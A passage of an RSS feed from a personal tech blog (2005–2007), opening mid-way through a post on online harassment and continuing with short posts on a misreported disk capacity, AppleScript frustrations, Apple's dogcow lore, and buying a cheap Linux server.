<p>But then I do think, what if more of us do speak up the way Kathy did.  Stop deleting the comments.  Start posting the email.  Start telling the assholes in forums and blog comments that they are being assholes, rather than just shrugging or ignoring or clicking through or (gasp) removing that person&#8217;s blog feed from our news reader (gasp).    We have a zillion ways in real life of registering disapproval when someone says something idiotic, from frowning to turning away to actually saying &#8220;boy, that was dumb.&#8221;  There&#8217;s not a lot like that online.  Maybe in addition to just &#8220;digg down&#8221; or &#8220;-1&#8243; we should stand up and speak up more often.  Maybe through social engineering, not just web engineering, we can create a better community and a better culture online.</p>
<p>Optimism wins out over sad and tired after all.  I&#8217;ll probably get death threats for suggesting it.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.lauralemay.com/2007/03/kathy-sierra-or-imminent-death-of-the-net-predicted.html/feed</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>it&#8217;s full of bits!</title>
		<link>http://blog.lauralemay.com/2007/02/its-full-of-bits.html</link>
		<comments>http://blog.lauralemay.com/2007/02/its-full-of-bits.html#comments</comments>
		<pubDate>Thu, 08 Feb 2007 16:07:18 +0000</pubDate>
		<dc:creator>laura</dc:creator>
				<category><![CDATA[Stories]]></category>
		<category><![CDATA[Tech]]></category>

		<guid isPermaLink="false">http://wptest.lauralemay.com/2007/02/its-full-of-bits.html</guid>
		<description><![CDATA[
]]></description>
			<content:encoded><![CDATA[<p></p><p>Last night I plugged in a new hard disk drive to store my increasingly large collection of stuff.  I&#8217;ve done this a bunch of times before, its not hard.  But then when I opened up Disk Utility to format the drive something seemed&#8230;kind of strange.</p>
<p><img src="http://blog.lauralemay.com/files/2007/hugedisk1.gif" border="0" height="249" width="220" alt="hugedisk1.gif"  /></p>
<p>892.6 &#8230; PB?  PB?  That can&#8217;t mean&#8230;petabytes?</p>
<p>I looked down the screen to total capacity.</p>
<p><img src="http://blog.lauralemay.com/files/2007/hugedisk2.gif" border="0" height="115" width="418" alt="hugedisk2.gif"  /></p>
<p>Holy crap! Thats a lot of bytes.  I had to go tell Eric.</p>
<p>Laura:  what does it mean when you plug in a disk and it says you have 900 petabytes of free space?<br />
Eric:  either the math is wrong or you&#8217;ve just opened up a worm hole in space.  </p>
<p>Geeky explanation:  It turns out that Maxtor drives do not jumper like the Quantum drives I&#8217;ve been using.  I reset the jumper correctly and I got the normal .00025 PB capacity I was looking for.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.lauralemay.com/2007/02/its-full-of-bits.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>alternative Mac/PC ads</title>
		<link>http://blog.lauralemay.com/2007/02/alternative-macpc-ads.html</link>
		<comments>http://blog.lauralemay.com/2007/02/alternative-macpc-ads.html#comments</comments>
		<pubDate>Fri, 02 Feb 2007 16:30:56 +0000</pubDate>
		<dc:creator>laura</dc:creator>
				<category><![CDATA[Links]]></category>
		<category><![CDATA[Tech]]></category>

		<guid isPermaLink="false">http://wptest.lauralemay.com/2007/02/alternative-macpc-ads.html</guid>
		<description><![CDATA[
]]></description>
			<content:encoded><![CDATA[<p></p><p><a href="http://www.mcsweeneys.net/links/lists/21JesseBenjamin.html">Other<br />
Long-Standing Feuds I&#8217;d Like to See Explored in a Commercial &agrave; la<br />
&#8220;Hi, I&#8217;m a Mac&#8221; &#8230; &#8220;And I&#8217;m a PC.&#8221;</a>, by Jesse Benjamin, from <a href="http://www.mcsweeneys.net">McSweeney&#8217;s</a></p>
<blockquote><p>
&#8230;<br />
&#8220;Hi, I&#8217;m the Internet.&#8221; &#8220;And I&#8217;m Doing Something Productive With My Free Time.&#8221;<br />
&#8230;
</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://blog.lauralemay.com/2007/02/alternative-macpc-ads.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>HOWTO: turn off Snap</title>
		<link>http://blog.lauralemay.com/2007/01/howto-turn-off-snap.html</link>
		<comments>http://blog.lauralemay.com/2007/01/howto-turn-off-snap.html#comments</comments>
		<pubDate>Thu, 01 Feb 2007 00:09:32 +0000</pubDate>
		<dc:creator>laura</dc:creator>
				<category><![CDATA[Links]]></category>
		<category><![CDATA[Tech]]></category>

		<guid isPermaLink="false">http://wptest.lauralemay.com/2007/01/howto-turn-off-snap.html</guid>
		<description><![CDATA[
]]></description>
			<content:encoded><![CDATA[<p></p><p>Thanks to <a href="http://www.kottke.org/">Kottke</a>, here&#8217;s the link to <a href="http://www.snap.com/about/spa_faq.php#2">turn off those insanely annoying Snap previews</a> that are showing up on far too many web sites.  This link sets a cookie that will turn them off for all sites, forever.  Forever.  Gone.  Thank you.</p>
<p>I&#8217;d like to send a really big box of crap to every web site owner who thinks installing this pustulant visual intrusion is a good idea.  Stop it.  Just stop.</p>
<p>(I got it from <a href="http://www.kottke.org/">Kottke</a>.)</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.lauralemay.com/2007/01/howto-turn-off-snap.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>beyond dude!</title>
		<link>http://blog.lauralemay.com/2005/09/beyond-dude.html</link>
		<comments>http://blog.lauralemay.com/2005/09/beyond-dude.html#comments</comments>
		<pubDate>Wed, 28 Sep 2005 03:04:02 +0000</pubDate>
		<dc:creator>laura</dc:creator>
				<category><![CDATA[Personal]]></category>
		<category><![CDATA[Tech]]></category>

		<guid isPermaLink="false">http://wptest.lauralemay.com/2005/09/beyond-dude.html</guid>
		<description><![CDATA[My ISP has been tuning the antennas this afternoon, and things have been&#8230; kind of zippy. I ran a speed test and just had to put up this screen shot. How fast is my broadband? It is beyond dude fast. (this was, alas, short-lived. They finished tuning the antennas and things dropped back down to [...]]]></description>
			<content:encoded><![CDATA[<p></p><p><a href="http://www.etheric.net/">My ISP</a> has been tuning the antennas this afternoon, and things have been&#8230; kind of zippy.  I ran a speed test and just had to put up this screen shot.</p>
<p><img src="http://blog.lauralemay.com//files/2005/9/27/dude.gif" border="0" height="130" width="600" alt="dude.gif" /></p>
<p>How fast is my broadband?  It is <i>beyond dude</i> fast.</p>
<p>(this was, alas, short-lived.  They finished tuning the antennas and things dropped back down to merely fast fast.  Still.  It was breathtaking for a while there.  Have I mentioned recently how much I like high speed wireless?).</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.lauralemay.com/2005/09/beyond-dude.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>on apple scripting languages and pain</title>
		<link>http://blog.lauralemay.com/2005/09/on-apple-scripting-languages-and-pain.html</link>
		<comments>http://blog.lauralemay.com/2005/09/on-apple-scripting-languages-and-pain.html#comments</comments>
		<pubDate>Tue, 27 Sep 2005 15:31:45 +0000</pubDate>
		<dc:creator>laura</dc:creator>
				<category><![CDATA[Tech]]></category>

		<guid isPermaLink="false">http://wptest.lauralemay.com/2005/09/on-apple-scripting-languages-and-pain.html</guid>
		<description><![CDATA[I really want to like AppleScript. It&#8217;s a weird programming language, and I like weird programming languages, ergo, I should like AppleScript. In theory, there&#8217;s a ton of stuff you CAN do with applescript to do automated stuff on the mac. But it seems like every time I delve into Applescript I rapidly descend into [...]]]></description>
			<content:encoded><![CDATA[<p></p><p>I really want to like AppleScript.  It&#8217;s a weird programming language, and I like weird programming languages, ergo, I should like AppleScript.  In theory, there&#8217;s a ton of stuff you CAN do with applescript to do automated stuff on the mac.</p>
<p>But it seems like every time I delve into Applescript I rapidly descend into complete madness, ending up hours later phrasing and rephrasing the same line trying to get it to do something trivially simple in any other language and screaming at the computer in fury.  It is not a language for humans to program in.  It is a gross deceptive horror of a language.  It makes no sense.  You read AppleScript and you think, OK, it&#8217;s like english, and you try to write it and no, its not like english at all.  It is a happy fluffy pink bunny hiding a jar of acid behind its back.  I hate this *@&#(@&#038;*# language.</p>
<p>I got to thinking about AppleScript today because over on Daring Fireball John Gruber has <a href="http://daringfireball.net/2005/09/englishlikeness_monster">a long post about deep problems</a> he&#8217;s been having with AppleScript, with a digression in the middle about the horrors of AppleScript in general.  It&#8217;s a post that made me grimace in pain and sympathy, and wonder throughout  &#8220;oh no.  no it can&#8217;t be that bad.&#8221;  but yes.  It was.  His bug is, fortunately, not a bug I have run into.  I have not done that much with AppleScript, and frankly, I would have given up way before he did.  But it is a bug that makes me throw up my hands in disgust at the sheer&#8230;.inelegance of it all.</p>
<p>It is really shameful that Apple, which does so well in its consumer-facing hardware and software visual and industrial design, has such an ugly, nasty, slimy, drooling troll of a language design for its underlying automation.  That&#8217;s just WRONG.  And its wrong that Apple has gone so long &#8212; what, fifteen years?! without fixing it.  It&#8217;s like an old rotten blankie they just can&#8217;t stop worrying.  Just throw out the damn language, Apple.  Just start over with something that works.</p>
<p>It is good that Tiger has Automator, to help user automation, so now normal humans don&#8217;t have to deal with AppleScript.  That&#8217;s a start.  But I&#8217;m surprised as I poke around that if you want to program Automator, to do more than just click the buttons, you have two choices:  AppleScript (arrrggghhh) and Objective C.  The nasty unlearnable scripting language and the heavyweight scary Real Programming Language.  Not the most approachable framework.</p>
<p>On the other hand Dashboard uses JavaScript as its scripting language.  Someone in that group didn&#8217;t drink the koolaid, I guess.  JavaScript isn&#8217;t exactly the most perfect programming language, but at least it makes some marginal amount of logical sense.</p>
<p>OSX does have the Open Scripting Architecture, OSA, which theoretically enables other scripting languages to be plugged in and used instead of AppleScript for basic automation.  I haven&#8217;t heard much about this other than that there are plug-ins for JavaScript and Python.  I get the impression that its not commonly used.  I should add that to my list of Stuff to Play With (only about 40 items long now&#8230;.)</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.lauralemay.com/2005/09/on-apple-scripting-languages-and-pain.html/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>RIP dogcow (moof)</title>
		<link>http://blog.lauralemay.com/2005/09/rip-dogcow-moof.html</link>
		<comments>http://blog.lauralemay.com/2005/09/rip-dogcow-moof.html#comments</comments>
		<pubDate>Fri, 23 Sep 2005 21:53:48 +0000</pubDate>
		<dc:creator>laura</dc:creator>
				<category><![CDATA[Links]]></category>
		<category><![CDATA[Tech]]></category>

		<guid isPermaLink="false">http://wptest.lauralemay.com/2005/09/rip-dogcow-moof.html</guid>
		<description><![CDATA[The Unofficial Apple Weblog (TUAW) posts that Apple Technote #31, describing Clarus, the Dogcow, seems to have gone missing on the Apple Developer Website. The dogcow is a bit of apple lore that turned up again and again in various places in Apple software over the years. Removing technote 31 does not bode well for [...]]]></description>
			<content:encoded><![CDATA[<p></p><p><a href="http://www.tuaw.com/2005/09/21/tech-note-31-offline-no-moof-is-good-moof/">The Unofficial Apple Weblog (TUAW)</a> posts that Apple Technote #31, describing Clarus, the Dogcow, seems to have gone missing on the Apple Developer Website.  The dogcow is a bit of apple lore that turned up again and again in various places in Apple software over the years.  Removing technote 31 does not bode well for the corporatization of Apple.  Fortunately, as someone in the TUAW comments pointed out, you can still find technote 31 at <a href="http://web.archive.org/web/20040202021201/http://developer.apple.com/products/techsupport/dogcow/tn31.html">web.archive.org.</a> I note that wikipedia has <a href="http://en.wikipedia.org/wiki/Dogcow">a big page</a> about the dogcow as well (although it is sadly quite factual and dry).</p>
<p>I&#8217;m remembering a dust-up a long time ago when I was at <a href="http://blog.lauralemay.com/000450.html">Stupid Company</a> when an unknown writer edited out a line from the <tt>tunefs(8)</tt> man page that said &#8220;You can tune a file system, but you can&#8217;t tune a fish.&#8221;  Presumably it was removed because it was funny.  Can&#8217;t have that.   But back then greater minds prevailed and it was put back with great fanfare and a big comment added to the source that said this joke was a Unix tradition and should not be removed.</p>
<p>Alas I just checked the <tt>tunefs</tt> man page from a recent Stupid Company OS release and it&#8217;s gone again.  Wah.</p>
<p>(I got it from <a href="http://inessential.com/?comments=1&#038;postid=3178">inessential.com</a>.)</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.lauralemay.com/2005/09/rip-dogcow-moof.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>unix hell</title>
		<link>http://blog.lauralemay.com/2005/09/unix-hell.html</link>
		<comments>http://blog.lauralemay.com/2005/09/unix-hell.html#comments</comments>
		<pubDate>Thu, 15 Sep 2005 23:25:21 +0000</pubDate>
		<dc:creator>laura</dc:creator>
				<category><![CDATA[Links]]></category>
		<category><![CDATA[Tech]]></category>

		<guid isPermaLink="false">http://wptest.lauralemay.com/2005/09/unix-hell.html</guid>
		<description><![CDATA[(click through, the whole thing is cute).]]></description>
			<content:encoded><![CDATA[<p></p><p><a href="http://packetstorm.setnine.com/unix-humor/unixoid_hell.gif"><img src="http://blog.lauralemay.com/files/2005/9/15/unixhell.gif" border="0" height="175" width="298" alt="unixhell.gif" align="" /></a></p>
<p>(<a href="http://packetstorm.setnine.com/unix-humor/unixoid_hell.gif">click through</a>, the whole thing is cute).</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.lauralemay.com/2005/09/unix-hell.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>the ballad of the dirt cheap computer</title>
		<link>http://blog.lauralemay.com/2005/09/the-ballad-of-the-dirt-cheap-computer-part-1.html</link>
		<comments>http://blog.lauralemay.com/2005/09/the-ballad-of-the-dirt-cheap-computer-part-1.html#comments</comments>
		<pubDate>Sat, 10 Sep 2005 04:48:19 +0000</pubDate>
		<dc:creator>laura</dc:creator>
				<category><![CDATA[Personal]]></category>
		<category><![CDATA[Stories]]></category>
		<category><![CDATA[Tech]]></category>

		<guid isPermaLink="false">http://wptest.lauralemay.com/2005/09/the-ballad-of-the-dirt-cheap-computer-part-1.html</guid>
		<description><![CDATA[A bunch of months ago we got wireless broadband Internet, and all was right with the world. Except there seems to be a rule in our world that once something goes right in our tech configuration, something must also then go horribly wrong. So after changing ISPs, getting a new mini-firewall, renumbering our entire internal [...]]]></description>
			<content:encoded><![CDATA[<p></p><p>A bunch of months ago we got <a href="http://blog.lauralemay.com/000382.html">wireless broadband Internet</a>, and all was right with the world.  Except there seems to be a rule in our world that once something goes right in our tech configuration, something must also then go horribly wrong.  So after changing ISPs, getting a new mini-firewall, renumbering our entire internal network, moving our DNS offsite, reprogramming our entire spam management system, and finally getting everything working perfectly, the very next day the power supply in our main server blew up (&#8220;what do you mean it won&#8217;t turn on?&#8221;  &#8220;you heard me, it won&#8217;t turn on and it smells bad.&#8221;)</p>
<p>While the easy solution would have been to just go find a power supply, we considered all options.  Usually the death of a box is what forces us to upgrade;  this box was purchased when our last server blew up a few years ago (hard drive Grind of Death).  It was a decent box for its time but nothing top of the line, and it was showing its age.  I began shopping for a new computer.  Something in the $500 Dell range, I figured.</p>
<p>It was then that Fry&#8217;s began to advertise the Dirt Cheap Computer.  Fry&#8217;s, as anyone from the area knows, is the local evil computer superstore.  You can get anything &#8212; *anything* computer or technology related at Fry&#8217;s, and at really incredible prices.  You just have to completely humiliate yourself to do it.  No sales people at Fry&#8217;s know anything about the technology they sell, but they harrass you madly for the comission;  they browbeat you to sell you things you don&#8217;t need;  they line you up like cattle to pay for stuff and shout at you (&#8220;Line 14!  Line 14!&#8221;) and then  they search you at the door on your way out.  And that&#8217;s just to buy things.  Just try to return something (shudder).  Fry&#8217;s is really evil, everyone hates them, but yet its hard not to keep going back.  If you really need a null modem cable at 10PM on a sunday, they will have it.  Its right next to the porn and the diet coke.</p>
<p>The Dirt Cheap Computer (DCC) is actually technically called the Great Quality computer.  You may snicker derisively;  we did.  It is not Great Quality.  It has off-brand parts in a no-name case.  It runs linux (linspire, actually).  And it costs $180.  No rebate interpretive dance needed;  that is the price.  (you can get a slightly higher quality version, with Windows, for $250).</p>
<p>At the time we found out about the dirt cheap computer, it was on sale.  For $150.  We figured:  if it blows up in a year we will just buy another one.  $150.  Its practically free.  Yeehaw.</p>
<p>The DCC, it turns out, is terrific.  Fedora Core installs on it with zero issues.  It comes with a minimal 128M of memory (thus the price) which was fine for basic routing and web and shell access and mail until we installed SpamAssassin and then it swapped itself into a puddle.  Another 512M made it much happier.  Its just a server machine, but now it gronks away happily in the corner with nary a peep.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.lauralemay.com/2005/09/the-ballad-of-the-dirt-cheap-computer-part-1.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>

